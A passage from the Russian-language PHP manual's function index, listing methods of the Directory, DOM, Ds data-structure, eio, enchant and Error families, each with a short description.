    • dir - Возвращает экземпляр класса Directory
    • Directory::close - Закрывает дескриптор каталога
    • Directory::read - Получает элемент из дескриптора каталога
    • Directory::rewind - Перемещает дескриптор каталога в начало каталога
    • DirectoryIterator::current - Возвращает текущий элемент DirectoryIterator
    • DirectoryIterator::getBasename - Получает базовое имя текущего элемента DirectoryIterator
    • DirectoryIterator::getExtension - Получает расширение файла
    • DirectoryIterator::getFilename - Возвращает имя файла текущего элемента DirectoryIterator
    • DirectoryIterator::isDot - Определяет, является ли текущий элемент DirectoryIterator '.' или '.'.
    • DirectoryIterator::key - Возвращает ключ для текущего элемента DirectoryIterator
    • DirectoryIterator::next - Переход к следующему элементу DirectoryIterator
    • DirectoryIterator::rewind - Перемотка итератора DirectoryIterator назад к началу
    • DirectoryIterator::seek - Переход к элементу DirectoryIterator
    • DirectoryIterator::valid - Проверяет, является ли текущая позиция DirectoryIterator корректным файлом
    • DirectoryIterator::__construct - Создаёт новый итератор каталогов из пути
    • DirectoryIterator::__toString - Получает имя файла в виде строки
    • dirname - Возвращает путь к родительскому каталогу
    • diskfreespace - Псевдоним disk_free_space
    • disk_free_space - Возвращает размер доступного пространства в каталоге или файловой системе
    • disk_total_space - Возвращает общий размер файловой системы или раздела диска
    • dl - Загружает модуль PHP во время выполнения
    • dngettext - Версия dgettext для множественного числа
    • dns_check_record - Псевдоним checkdnsrr
    • dns_get_mx - Псевдоним getmxrr
    • dns_get_record - Получение ресурсных записей DNS хоста
    • DocResult::fetchAll - Получить все строки
    • DocResult::fetchOne - Получить одну строку
    • DocResult::getWarnings - Получить предупреждения с последней операции
    • DocResult::getWarningsCount - Получить количество предупреждений с последней операции
    • DocResult::__construct - Конструктор DocResult
    • DOMAttr::isId - Проверяет, является ли атрибут определённым идентификатором
    • DOMAttr::__construct - Создаёт экземпляр класса DOMAttr
    • DOMCdataSection::__construct - Создаёт новый экземпляр класса DOMCdataSection
    • DOMCharacterData::after - Добавляет узлы после символьных данных
    • DOMCharacterData::appendData - Добавить строку в конец символьных данных узла
    • DOMCharacterData::before - Добавляет узлы перед узлом
    • DOMCharacterData::deleteData - Удалить диапазон символов из узла
    • DOMCharacterData::insertData - Вставить строку в указанную 16-битную позицию
    • DOMCharacterData::remove - Удаляет символьные данные
    • DOMCharacterData::replaceData - Заменить подстроку в узле типа DOMCharacterData
    • DOMCharacterData::replaceWith - Заменяет символьные данные новыми узлами
    • DOMCharacterData::substringData - Извлекает определённый диапазон данных из узла
    • DOMChildNode::after - Добавляет узлы после узла
    • DOMChildNode::before - Добавляет узлы перед узлом
    • DOMChildNode::remove - Удаляет узел
    • DOMChildNode::replaceWith - Заменяет узел на новые узлы
    • DOMComment::__construct - Создаёт новый экземпляр класса DOMComment
    • DOMDocument::adoptNode - Переносит узел из другого документа
    • DOMDocument::append - Добавляет узлы после последнего дочернего узла
    • DOMDocument::createAttribute - Создаёт новый атрибут
    • DOMDocument::createAttributeNS - Создаёт новый атрибут узла с соответствующим пространством имён
    • DOMDocument::createCDATASection - Создаёт новый узел cdata
    • DOMDocument::createComment - Создать новый узел комментария
    • DOMDocument::createDocumentFragment - Создаёт новый фрагмент документа
    • DOMDocument::createElement - Создаёт новый узел элемента
    • DOMDocument::createElementNS - Создать новый узел элемента с соответствующим пространством имён
    • DOMDocument::createEntityReference - Создать новый узел ссылки на сущность
    • DOMDocument::createProcessingInstruction - Создать новый PI-узел
    • DOMDocument::createTextNode - Создать новый текстовый узел
    • DOMDocument::getElementById - Ищет элемент с определённым идентификатором
    • DOMDocument::getElementsByTagName - Ищет все элементы с заданным локальным именем
    • DOMDocument::getElementsByTagNameNS - Ищет все элементы с заданным именем в указанном пространстве имён
    • DOMDocument::importNode - Импортировать узел в текущий документ
    • DOMDocument::load - Загрузка XML из файла
    • DOMDocument::loadHTML - Загрузка HTML из строки
    • DOMDocument::loadHTMLFile - Загрузка HTML из файла
    • DOMDocument::loadXML - Загрузка XML из строки
    • DOMDocument::normalizeDocument - Нормализует документ
    • DOMDocument::prepend - Добавляет узлы перед первым дочерним узлом
    • DOMDocument::registerNodeClass - Регистрация расширенного класса, используемого для создания типа базового узла
    • DOMDocument::relaxNGValidate - Производит проверку документа на правильность построения посредством relaxNG
    • DOMDocument::relaxNGValidateSource - Проверяет документ посредством relaxNG
    • DOMDocument::replaceChildren - Заменяет дочерние узлы в документе
    • DOMDocument::save - Сохраняет XML-дерево из внутреннего представления в файл
    • DOMDocument::saveHTML - Сохраняет документ из внутреннего представления в строку, используя форматирование HTML
    • DOMDocument::saveHTMLFile - Сохраняет документ из внутреннего представления в файл, используя форматирование HTML
    • DOMDocument::saveXML - Сохраняет XML-дерево из внутреннего представления в виде строки
    • DOMDocument::schemaValidate - Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.
    • DOMDocument::schemaValidateSource - Проверяет действительность документа, основываясь на схеме
    • DOMDocument::validate - Проверяет документ на соответствие его DTD
    • DOMDocument::xinclude - Проводит вставку XInclude в объекте DOMDocument
    • DOMDocument::__construct - Создаёт новый объект DOMDocument
    • DOMDocumentFragment::append - Добавляет узлы после последнего дочернего узла
    • DOMDocumentFragment::appendXML - Добавление необработанных данных XML
    • DOMDocumentFragment::prepend - Добавляет узлы перед первым дочерним узлом
    • DOMDocumentFragment::replaceChildren - Заменяет дочерние элементы фрагмента
    • DOMDocumentFragment::__construct - Конструктор объекта DOMDocumentFragment
    • DOMElement::after - Добавляет узлы после элемента
    • DOMElement::append - Добавляет узлы после последнего дочернего узла
    • DOMElement::before - Добавляет узлы перед элементом
    • DOMElement::getAttribute - Возвращает значение атрибута
    • DOMElement::getAttributeNames - Получает имена атрибутов
    • DOMElement::getAttributeNode - Возвращает узел атрибута
    • DOMElement::getAttributeNodeNS - Возвращает узел атрибута
    • DOMElement::getAttributeNS - Возвращает значение атрибута
    • DOMElement::getElementsByTagName - Возвращает элементы по имени тега
    • DOMElement::getElementsByTagNameNS - Получает элементы по локальному имени в заданном пространстве имён
    • DOMElement::hasAttribute - Проверяет, существует ли атрибут
    • DOMElement::hasAttributeNS - Проверяет, существует ли заданный атрибут
    • DOMElement::insertAdjacentElement - Добавляет соседний элемент
    • DOMElement::insertAdjacentText - Добавляет соседний текст
    • DOMElement::prepend - Добавляет узлы перед первым дочерним узлом
    • DOMElement::remove - Удаляет элемент
    • DOMElement::removeAttribute - Удаляет атрибут
    • DOMElement::removeAttributeNode - Удаляет атрибут
    • DOMElement::removeAttributeNS - Удаляет атрибут
    • DOMElement::replaceChildren - Заменяет дочерние элементы в элементе
    • DOMElement::replaceWith - Заменяет элемент новыми узлами
    • DOMElement::setAttribute - Добавляет новый или изменяет существующий атрибут
    • DOMElement::setAttributeNode - Добавляет новый узел атрибута в элемент
    • DOMElement::setAttributeNodeNS - Добавляет новый атрибут в элемент
    • DOMElement::setAttributeNS - Добавляет новый атрибут
    • DOMElement::setIdAttribute - Объявляет атрибуту c указанным именем тип ID
    • DOMElement::setIdAttributeNode - Объявляет указанному узлу атрибута тип ID
    • DOMElement::setIdAttributeNS - Объявляет атрибуту с указанными локальным именем и URI пространства имён тип ID
    • DOMElement::toggleAttribute - Переключает атрибут
    • DOMElement::__construct - Создаёт новый экземпляр класса DOMElement
    • DOMEntityReference::__construct - Создаёт новый объект класса DOMEntityReference
    • DOMImplementation::createDocument - Создаёт объект класса DOMDocument заданного типа с его элементом document
    • DOMImplementation::createDocumentType - Создаёт пустой объект класса DOMDocumentType
    • DOMImplementation::hasFeature - Проверяет, реализует ли DOM-реализация интерфейс конкретного модуля DOM
    • DOMImplementation::__construct - Создаёт новый объект класса DOMImplementation
    • DOMNamedNodeMap::count - Количество узлов в отображении
    • DOMNamedNodeMap::getIterator - Получает внешний итератор
    • DOMNamedNodeMap::getNamedItem - Получает узел, указанный по имени
    • DOMNamedNodeMap::getNamedItemNS - Получает узел с заданным локальным именем и URI пространства имён
    • DOMNamedNodeMap::item - Получает узел с заданным индексом
    • DOMNode::appendChild - Добавляет новый дочерний узел в конец списка потомков
    • DOMNode::C14N - Канонизировать узлы в строку
    • DOMNode::C14NFile - Канонизировать узлы в файл
    • DOMNode::cloneNode - Клонирует узел
    • DOMNode::contains - Проверяет, содержит ли узел другой узел
    • DOMNode::getLineNo - Получает номер строки узла
    • DOMNode::getNodePath - Получение XPath узла
    • DOMNode::getRootNode - Получает корневой узел
    • DOMNode::hasAttributes - Проверяет, имеет ли данный узел атрибуты
    • DOMNode::hasChildNodes - Проверяет, имеет ли данный узел потомков
    • DOMNode::insertBefore - Добавляет новый дочерний узел перед указанным узлом
    • DOMNode::isDefaultNamespace - Проверяет, является ли указанный URI пространства имён узла пространством имён по умолчанию или нет
    • DOMNode::isEqualNode - Проверяет, что оба узла идентичны
    • DOMNode::isSameNode - Указывает, являются ли два узла одним и тем же узлом
    • DOMNode::isSupported - Проверяет, поддерживается ли возможность в определённой версии
    • DOMNode::lookupNamespaceURI - Получает URI пространства имён узла по префиксу
    • DOMNode::lookupPrefix - Получает префикс пространства имён узла из URI-идентификатора пространства имён
    • DOMNode::normalize - Нормализует узел
    • DOMNode::removeChild - Удаляет дочерний узел из списка потомков
    • DOMNode::replaceChild - Заменяет дочерний узел
    • DOMNodeList::count - Получить количество узлов в списке
    • DOMNodeList::getIterator - Получает внешний итератор
    • DOMNodeList::item - Получает узел с заданным индексом
    • DOMParentNode::append - Добавляет узлы после последнего дочернего узла
    • DOMParentNode::prepend - Добавляет узлы перед первым дочерним узлом
    • DOMParentNode::replaceChildren - Заменяет потомков в узле
    • DOMProcessingInstruction::__construct - Создаёт новый объект класса DOMProcessingInstruction
    • DOMText::isElementContentWhitespace - Возвращает, содержит ли текстовый узел пробел в содержимом элемента
    • DOMText::isWhitespaceInElementContent - Определяет, содержит ли текстовый узел пробелы в содержимом
    • DOMText::splitText - Разделяет узел на два, начиная с заданной позиции
    • DOMText::__construct - Создаёт объект класса DOMText
    • DOMXPath::evaluate - Вычисляет переданное выражение XPath и возвращает типизированный результат, если возможно
    • DOMXPath::query - Выполняет заданное выражение XPath
    • DOMXPath::registerNamespace - Регистрирует пространство имён с объектом DOMXPath
    • DOMXPath::registerPhpFunctions - Регистрация PHP-функций как функций XPath
    • DOMXPath::__construct - Создаёт новый объект класса DOMXPath
    • dom_import_simplexml - Получает объект класса DOMElement из объекта класса SimpleXMLElement
    • dotnet::__construct - Конструктор класса dotnet
    • doubleval - Псевдоним floatval
    • Ds\Collection::clear - Удаляет все значения
    • Ds\Collection::copy - Возвращает копию коллекции
    • Ds\Collection::isEmpty - Проверяет, пуста ли коллекция
    • Ds\Collection::toArray - Преобразовывает коллекцию в массив (array)
    • Ds\Deque::allocate - Выделяет память под указанную вместимость
    • Ds\Deque::apply - Обновляет все значения, применяя callback-функцию к каждому значению
    • Ds\Deque::capacity - Возвращает текущую вместимость
    • Ds\Deque::clear - Удаляет все значения из двухсторонней очереди
    • Ds\Deque::contains - Проверяет, содержится ли в двухсторонней очереди заданные значения
    • Ds\Deque::copy - Возвращает поверхностную копию коллекции
    • Ds\Deque::count - Возвращает количество элементов двухсторонней очереди
    • Ds\Deque::filter - Создаёт новую двухстороннюю очередь из элементов, выбранных с помощью заданной callback-функции
    • Ds\Deque::find - Поиск индекса по значению
    • Ds\Deque::first - Возвращает первый элемент двухсторонней очереди
    • Ds\Deque::get - Возвращает значение по индексу
    • Ds\Deque::insert - Вставляет значения по указанному индексу
    • Ds\Deque::isEmpty - Проверяет, пуста ли двухсторонняя очередь
    • Ds\Deque::join - Склеивает все значения в строку
    • Ds\Deque::jsonSerialize - Возвращает коллекцию в JSON-представлении
    • Ds\Deque::last - Возвращает последнее значение двухсторонней очереди
    • Ds\Deque::map - Возвращает результат применения callback-функции ко всем значениям двухсторонней очереди
    • Ds\Deque::merge - Возвращает результат добавления всех заданных значений в двухстороннюю очередь
    • Ds\Deque::pop - Удаляет и возвращает последнее значение
    • Ds\Deque::push - Добавляет значения в конец двухсторонней очереди
    • Ds\Deque::reduce - Уменьшает коллекцию до одного значения, используя callback-функцию
    • Ds\Deque::remove - Удаляет и возвращает значение по индексу
    • Ds\Deque::reverse - Переворачивает текущую двухстороннюю очередь
    • Ds\Deque::reversed - Возвращает перевёрнутую копию двухсторонней очереди
    • Ds\Deque::rotate - Перематывает двухстороннюю очередь на заданное число значений
    • Ds\Deque::set - Заменяет значение по указанному индексу
    • Ds\Deque::shift - Удаляет и возвращает первое значение
    • Ds\Deque::slice - Возвращает подочередь из заданного диапазона
    • Ds\Deque::sort - Сортирует двухстороннюю очередь
    • Ds\Deque::sorted - Возвращает отсортированную по значению копию двухсторонней очереди
    • Ds\Deque::sum - Возвращает сумму всех значений двухсторонней очереди
    • Ds\Deque::toArray - Преобразовывает двухстороннюю очередь в массив (array)
    • Ds\Deque::unshift - Добавляет значения в начало двухсторонней очереди
    • Ds\Deque::__construct - Создаёт новый экземпляр
    • Ds\Hashable::equals - Определяет, равен ли текущий экземпляр переданному объекту
    • Ds\Hashable::hash - Возвращает скалярное значение для использования в качестве значения хеша
    • Ds\Map::allocate - Выделяет необходимое количество памяти под требуемую вместимость
    • Ds\Map::apply - Обновление всех значений применением к ним переданной callback-функции
    • Ds\Map::capacity - Возвращает текущую вместимость
    • Ds\Map::clear - Удаляет все значения из коллекции
    • Ds\Map::copy - Возвращает поверхностную копию коллекции
    • Ds\Map::count - Возвращает количество элементов коллекции
    • Ds\Map::diff - Создаёт новую коллекцию пар с элементами, ключей которых нет в другой коллекции пар
    • Ds\Map::filter - Создаёт новую коллекцию пар из элементов, выбранных с помощью заданной callback-функции
    • Ds\Map::first - Возвращает первый элемент коллекции
    • Ds\Map::get - Возвращает значение по ключу
    • Ds\Map::hasKey - Проверяет, содержит ли коллекция заданный ключ
    • Ds\Map::hasValue - Проверяет, содержит ли коллекция заданное значение
    • Ds\Map::intersect - Создаёт новую коллекцию пар, созданную пересечением с другой коллекцией пар
    • Ds\Map::isEmpty - Проверяет, пуста ли коллекция
    • Ds\Map::jsonSerialize - Возвращает коллекцию в JSON-представлении
    • Ds\Map::keys - Возвращает набор ключей коллекции
    • Ds\Map::ksort - Сортирует текущую коллекцию по ключам
    • Ds\Map::ksorted - Возвращает копию коллекции, отсортированной по ключам
    • Ds\Map::last - Возвращает последнюю пару коллекции
    • Ds\Map::map - Возвращает результат применения callback-функции ко всем значениям коллекции
    • Ds\Map::merge - Возвращает результат добавления всех заданных элементов в коллекцию
    • Ds\Map::pairs - Возвращает последовательность, содержащую все пары коллекции
    • Ds\Map::put - Установка значения по заданному ключу
    • Ds\Map::putAll - Связывает с коллекцией все пары ключ-значение из объекта класса traversable или массива
    • Ds\Map::reduce - Уменьшает коллекцию до одного значения, используя callback-функцию
    • Ds\Map::remove - Удаляет и возвращает значение по ключу
    • Ds\Map::reverse - Переворачивает текущую коллекцию
    • Ds\Map::reversed - Возвращает перевёрнутую копию коллекции
    • Ds\Map::skip - Возвращает пару по индексу позиции
    • Ds\Map::slice - Возвращает подмножество коллекции из заданного диапазона
    • Ds\Map::sort - Сортирует коллекцию по значениям
    • Ds\Map::sorted - Возвращает отсортированную по значению копию коллекции
    • Ds\Map::sum - Возвращает сумму всех значений коллекции
    • Ds\Map::toArray - Преобразовывает коллекцию в массив (array)
    • Ds\Map::union - Создаёт новую коллекцию пар из элементов двух коллекций
    • Ds\Map::values - Возвращает последовательность значений коллекции
    • Ds\Map::xor - Создаёт новую коллекцию пар из элементов, которые есть в одной из коллекций, но не в обеих одновременно
    • Ds\Map::__construct - Создаёт новый экземпляр
    • Ds\Pair::clear - Удаляет все значения
    • Ds\Pair::copy - Возвращает поверхностную копию пары
    • Ds\Pair::isEmpty - Проверяет, является ли пара пустой
    • Ds\Pair::jsonSerialize - Возвращает пару в представлении JSON
    • Ds\Pair::toArray - Преобразует пару в массив (array)
    • Ds\Pair::__construct - Создаёт экземпляр класса
    • Ds\PriorityQueue::allocate - Выделяет память под указанную вместимость
    • Ds\PriorityQueue::capacity - Возвращает текущую вместимость
    • Ds\PriorityQueue::clear - Удаляет все значения
    • Ds\PriorityQueue::copy - Возвращает поверхностную копию очереди
    • Ds\PriorityQueue::count - Возвращает количество элементов в очереди
    • Ds\PriorityQueue::isEmpty - Проверяет, пуста ли коллекция
    • Ds\PriorityQueue::jsonSerialize - Возвращает коллекцию в JSON-представление
    • Ds\PriorityQueue::peek - Возвращает значение из начала очереди
    • Ds\PriorityQueue::pop - Удаляет и возвращает значение с наивысшим приоритетом
    • Ds\PriorityQueue::push - Добавляет значение в очередь
    • Ds\PriorityQueue::toArray - Преобразовывает очередь в массив (array)
    • Ds\PriorityQueue::__construct - Создаёт новый экземпляр
    • Ds\Queue::allocate - Выделяет память под указанную вместимость
    • Ds\Queue::capacity - Возвращает текущую вместимость
    • Ds\Queue::clear - Удаляет все значения
    • Ds\Queue::copy - Возвращает поверхностную копию очереди
    • Ds\Queue::count - Возвращает количество элементов очереди
    • Ds\Queue::isEmpty - Проверяет, пуста ли коллекция
    • Ds\Queue::jsonSerialize - Возвращает коллекцию в JSON-представлении
    • Ds\Queue::peek - Возвращает значение из начала очереди
    • Ds\Queue::pop - Удаляет и возвращает значение из начала очереди
    • Ds\Queue::push - Добавляет значения в очередь
    • Ds\Queue::toArray - Преобразовывает коллекцию в массив (array)
    • Ds\Queue::__construct - Создаёт новый экземпляр
    • Ds\Sequence::allocate - Выделение памяти под указанную вместимость
    • Ds\Sequence::apply - Обновление всех значений применением к ним переданной callback-функции
    • Ds\Sequence::capacity - Возвращает текущую вместимость
    • Ds\Sequence::contains - Проверяет, содержатся ли в коллекции заданные значения
    • Ds\Sequence::filter - Создаёт новую последовательность из элементов, выбранных с помощью заданной callback-функции
    • Ds\Sequence::find - Поиск индекса по значению
    • Ds\Sequence::first - Возвращает первый элемент коллекции
    • Ds\Sequence::get - Возвращает значение по индексу
    • Ds\Sequence::insert - Вставляет значения по указанному индексу
    • Ds\Sequence::join - Склеивает все значения в строку
    • Ds\Sequence::last - Возвращает последнее значение коллекции
    • Ds\Sequence::map - Возвращает результат применения callback-функции ко всем значениям коллекции
    • Ds\Sequence::merge - Возвращает результат добавления всех заданных значений в коллекцию
    • Ds\Sequence::pop - Удаляет и возвращает последнее значение
    • Ds\Sequence::push - Добавляет значения в конец последовательности
    • Ds\Sequence::reduce - Схлопывает коллекцию до одного значения используя callback-функцию
    • Ds\Sequence::remove - Удаляет и возвращает значение по индексу
    • Ds\Sequence::reverse - Переворачивает текущую коллекцию
    • Ds\Sequence::reversed - Возвращает перевёрнутую копию коллекции
    • Ds\Sequence::rotate - Перематывает последовательность на заданное число значений
    • Ds\Sequence::set - Заменяет значение по указанному индексу
    • Ds\Sequence::shift - Удаляет и возвращает первое значение
    • Ds\Sequence::slice - Возвращает под-коллекцию из заданного диапазона
    • Ds\Sequence::sort - Сортирует коллекцию
    • Ds\Sequence::sorted - Возвращает отсортированную по значению копию коллекции
    • Ds\Sequence::sum - Возвращает сумму всех значений коллекции
    • Ds\Sequence::unshift - Добавляет значения в начало последовательности
    • Ds\Set::add - Добавляет значения в набор
    • Ds\Set::allocate - Выделяет память под указанную вместимость
    • Ds\Set::capacity - Возвращает текущую вместимость
    • Ds\Set::clear - Удаляет все значения из коллекции
    • Ds\Set::contains - Проверяет, содержится ли в коллекции заданные значения
    • Ds\Set::copy - Возвращает поверхностную копию коллекции
    • Ds\Set::count - Возвращает количество элементов коллекции
    • Ds\Set::diff - Создаёт новый набор с элементами, которых нет в другом наборе
    • Ds\Set::filter - Создаёт новый список из элементов, выбранных с помощью заданной callback-функции
    • Ds\Set::first - Возвращает первый элемент коллекции
    • Ds\Set::get - Возвращает значение по индексу
    • Ds\Set::intersect - Создаёт новый набор, созданный пересечением с другим набором
    • Ds\Set::isEmpty - Проверяет, пуста ли коллекция
    • Ds\Set::join - Склеивает все значения в строку
    • Ds\Set::jsonSerialize - Возвращает коллекцию в JSON-представлении
    • Ds\Set::last - Возвращает последнее значение коллекции
    • Ds\Set::merge - Возвращает результат добавления всех заданных значений в набор
    • Ds\Set::reduce - Уменьшает коллекцию до одного значения, используя callback-функцию
    • Ds\Set::remove - Удаляет все заданные значения из набора
    • Ds\Set::reverse - Переворачивает текущую коллекцию
    • Ds\Set::reversed - Возвращает перевёрнутую копию коллекции
    • Ds\Set::slice - Возвращает поднабор из заданного диапазона
    • Ds\Set::sort - Сортирует коллекцию
    • Ds\Set::sorted - Возвращает отсортированную по значению копию коллекции
    • Ds\Set::sum - Возвращает сумму всех значений коллекции
    • Ds\Set::toArray - Преобразовывает коллекцию в массив (array)
    • Ds\Set::union - Создаёт новый набор из элементов текущего и переданного наборов
    • Ds\Set::xor - Создаёт новый набор из значений, которые есть в одном из наборов, но не в обоих одновременно
    • Ds\Set::__construct - Создаёт новый экземпляр класса
    • Ds\Stack::allocate - Выделяет память под указанную вместимость
    • Ds\Stack::capacity - Возвращает текущую вместимость
    • Ds\Stack::clear - Удаляет все значения из коллекции
    • Ds\Stack::copy - Возвращает поверхностную копию коллекции
    • Ds\Stack::count - Возвращает количество элементов коллекции
    • Ds\Stack::isEmpty - Проверяет, пуста ли коллекция
    • Ds\Stack::jsonSerialize - Возвращает коллекцию в JSON-представлении
    • Ds\Stack::peek - Возвращает значение с вершины стека
    • Ds\Stack::pop - Удаляет и возвращает значение с вершины стека
    • Ds\Stack::push - Добавляет значения в стек
    • Ds\Stack::toArray - Преобразовывает коллекцию в массив (array)
    • Ds\Stack::__construct - Создаёт новый экземпляр класса
    • Ds\Vector::allocate - Выделяет память под указанную вместимость
    • Ds\Vector::apply - Обновляет все значения, применяя к ним переданную callback-функцию
    • Ds\Vector::capacity - Возвращает текущую вместимость
    • Ds\Vector::clear - Удаляет все значения
    • Ds\Vector::contains - Проверяет, содержится ли в векторе заданные значения
    • Ds\Vector::copy - Возвращает поверхностную копию вектора
    • Ds\Vector::count - Возвращает количество элементов вектора
    • Ds\Vector::filter - Создаёт новый вектор из элементов, выбранных с помощью заданной callback-функции
    • Ds\Vector::find - Поиск индекса по значению
    • Ds\Vector::first - Возвращает первый элемент вектора
    • Ds\Vector::get - Возвращает значение по индексу
    • Ds\Vector::insert - Вставляет значения по указанному индексу
    • Ds\Vector::isEmpty - Проверяет, пуст ли вектор
    • Ds\Vector::join - Склеивает все значения в строку
    • Ds\Vector::jsonSerialize - Возвращает вектор в JSON-представлении
    • Ds\Vector::last - Возвращает последнее значение вектора
    • Ds\Vector::map - Возвращает результат применения callback-функции ко всем значениям вектора
    • Ds\Vector::merge - Возвращает результат добавления всех заданных значений в вектор
    • Ds\Vector::pop - Удаляет и возвращает последнее значение
    • Ds\Vector::push - Добавляет значения в конец вектора
    • Ds\Vector::reduce - Уменьшает вектор до одного значения, используя callback-функцию
    • Ds\Vector::remove - Удаляет и возвращает значение по индексу
    • Ds\Vector::reverse - Переворачивает текущий вектор
    • Ds\Vector::reversed - Возвращает перевёрнутую копию вектора
    • Ds\Vector::rotate - Перематывает вектор на заданное число значений
    • Ds\Vector::set - Заменяет значение по указанному индексу
    • Ds\Vector::shift - Удаляет и возвращает первое значение
    • Ds\Vector::slice - Возвращает подвектор из заданного диапазона
    • Ds\Vector::sort - Сортирует вектор
    • Ds\Vector::sorted - Возвращает отсортированную по значению копию коллекции
    • Ds\Vector::sum - Возвращает сумму всех значений коллекции
    • Ds\Vector::toArray - Преобразовывает коллекцию в массив (array)
    • Ds\Vector::unshift - Добавляет значения в начало вектора
    • Ds\Vector::__construct - Создаёт новый экземпляр
  • e
    • each - Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд
    • easter_date - Получить метку времени Unix, соответствующую полуночи на Пасху в заданном году
    • easter_days - Получить количество дней между 21 марта и Пасхой в заданном году
    • echo - Выводит строки
    • eio_busy - Искусственно увеличивает нагрузку. Может быть полезно при тестировании, изучении производительности
    • eio_cancel - Отменяет запрос
    • eio_chmod - Изменяет права доступа к файлу/директории
    • eio_chown - Изменяет права доступа к файлу/директории
    • eio_close - Закрыть файл
    • eio_custom - Выполняет пользовательский запрос как любой другой eio_* вызов
    • eio_dup2 - Создаёт дубликат дескриптора файла
    • eio_event_loop - Взаимодействует с libeio до тех пор, пока все запросы не будут выполнены
    • eio_fallocate - Позволяет напрямую управлять размером используемого дискового пространства для файла
    • eio_fchmod - Изменяет права доступа к файлу
    • eio_fchown - Изменяет владельца файла
    • eio_fdatasync - Синхронизирует текущее состояние файла с физическим устройством
    • eio_fstat - Возвращает статус файла
    • eio_fstatvfs - Возвращает статистику файловой системы
    • eio_fsync - Синхронизирует текущее состояние файла с физическим устройством
    • eio_ftruncate - Урезает размер файла
    • eio_futime - Изменяет дату и время последней модификации и доступа к файлу
    • eio_get_event_stream - Возвращает поток, отражающий переменную, используемую при взаимодействии с libeio
    • eio_get_last_error - Возвращает последнюю ошибку, связанную с указателем на ресурс
    • eio_grp - Создаёт группу запросов
    • eio_grp_add - Добавляет запрос в группу запросов
    • eio_grp_cancel - Отменяет группу запросов
    • eio_grp_limit - Устанавливает предельное количество запросов в группе
    • eio_init - (Ре-)инициализирует Eio
    • eio_link - Создаёт жёсткую ссылку на файл
    • eio_lstat - Возвращает статус файла
    • eio_mkdir - Создание директории
    • eio_mknod - Создаёт специальный или обычный файл
    • eio_nop - Проход по циклу запроса, не совершая никаких операций
    • eio_npending - Возвращает число завершённых, но необработанных процессов
    • eio_nready - Возвращает число ещё не обработанных запросов
    • eio_nreqs - Возвращает число запросов, которые предстоит выполнить
    • eio_nthreads - Возвращает количество используемых в данный момент потоков
    • eio_open - Открывает файл
    • eio_poll - Может быть вызвана когда имеются запросы, ожидающие выполнения
    • eio_read - Читает данные из файла, начиная с заданного смещения
    • eio_readahead - Помещает данные из файла в кеш страницы
    • eio_readdir - Читает содержимое директории
    • eio_readlink - Читает значение символической ссылки
    • eio_realpath - Получает абсолютный приведённый к каноническому виду путь
    • eio_rename - Изменяет имя или перемещает файл
    • eio_rmdir - Удаляет директорию
    • eio_seek - Перемещает файловый указатель файла fd на число байт offset в соответствии с директивой whence
    • eio_sendfile - Перемещает данные между файлами
    • eio_set_max_idle - Устанавливает максимальное количество ожидающих потоков
    • eio_set_max_parallel - Устанавливает максимальное количество параллельных потоков
    • eio_set_max_poll_reqs - Устанавливает максимальное количество обрабатываемых запросов
    • eio_set_max_poll_time - Устанавливает максимальное время выполнения
    • eio_set_min_parallel - Устанавливает минимальное количество параллельных потоков
    • eio_stat - Возвращает статус файла
    • eio_statvfs - Возвращает статистику файловой системы
    • eio_symlink - Создаёт символическую ссылку
    • eio_sync - Записывает кеш из буфера на диск
    • eio_syncfs - Вызывает системный syncfs в Linux, если это доступно
    • eio_sync_file_range - Синхронизирует сегмент файла с данными файла на внешнем хранилище
    • eio_truncate - Урезает размер файла
    • eio_unlink - Удаляет файл или одну из жёстких ссылок на него
    • eio_utime - Изменяет дату и время последней модификации и доступа к файлу
    • eio_write - Запись в файл
    • empty - Проверяет, пуста ли переменная
    • EmptyIterator::current - Метод current()
    • EmptyIterator::key - Метод key()
    • EmptyIterator::next - Метод next()
    • EmptyIterator::rewind - Метод rewind()
    • EmptyIterator::valid - Проверяет, действителен ли текущий элемент
    • enchant_broker_describe - Перечисляет провайдеров Enchant
    • enchant_broker_dict_exists - Проверяет, присутствует ли словарь или нет. Используется не пустой тег
    • enchant_broker_free - Освобождает ресурс брокера и его словари
    • enchant_broker_free_dict - Освобождает ресурс словаря
    • enchant_broker_get_dict_path - Возвращает путь словаря для заданного бэкенда
    • enchant_broker_get_error - Возвращает последнюю ошибку брокера
    • enchant_broker_init - Создать новый объект брокера
    • enchant_broker_list_dicts - Возвращает список доступных словарей
    • enchant_broker_request_dict - Создать новый словарь используя тег
    • enchant_broker_request_pwl_dict - Создать словарь используя файл PWL
    • enchant_broker_set_dict_path - Установить путь для заданного бэкенда
    • enchant_broker_set_ordering - Задать предпочтения по выбору словарей для языка
    • enchant_dict_add - Добавляет слово в личный словарь
    • enchant_dict_add_to_personal - Добавить слово в список персональных слов
    • enchant_dict_add_to_session - Добавить слово в текущую сессию проверки
    • enchant_dict_check - Проверяет, корректно ли задано слово
    • enchant_dict_describe - Возвращает информацию о словаре
    • enchant_dict_get_error - Возвращает последнюю ошибку текущей сессии проверки
    • enchant_dict_is_added - Определяет, существует ли слово в этой орфографической сессии
    • enchant_dict_is_in_session - Присутствует ли слово 'word' в сессии проверки
    • enchant_dict_quick_check - Проверить, правильно ли написано слово и предложить варианты замены
    • enchant_dict_store_replacement - Добавить исправление для слова
    • enchant_dict_suggest - Вернёт список возможных вариантов для слова с ошибкой
    • end - Устанавливает внутренний указатель массива на последний элемент
    • enum_exists - Проверяет, определили ли перечисление
    • Error::getCode - Возвращает код ошибки
    • Error::getFile - Получает файл, в котором произошла ошибка
    • Error::getLine - Получает номер строки, в которой произошла ошибка
    • Error::getMessage - Получает сообщение об ошибке
    • Error::getPrevious - Возвращает предыдущий Throwable
    • Error::getTrace - Получает трассировку стека
    • Error::getTraceAsString - Получает трассировку стека в виде строки
    • Error::__clone - Клонирует ошибку
    • Error::__construct - Создаёт объект класса Error
    • Error::__toString - Строковое представление ошибки
    • ErrorException::getSeverity - Получает серьёзность исключения
    • ErrorException::__construct - Создаёт исключение
    • error_clear_last - Очистить самую последнюю ошибку
    • error_get_last - Получение информации о последней произошедшей ошибке
    • error_log - Отправляет сообщение об ошибке заданному обработчику ошибок
    • error_reporting - Устанавливает, какие ошибки PHP попадут в отчёт
    • escapeshellarg - Экранировать строку для того, чтобы она могла быть использована как аргумент командной строки
    • escapeshellcmd - Экранировать метасимволы командной строки
    • Ev::backend - Возвращает целое число, описывающее бэкенд, используемый libev
    • Ev::depth - Получить глубину рекурсии
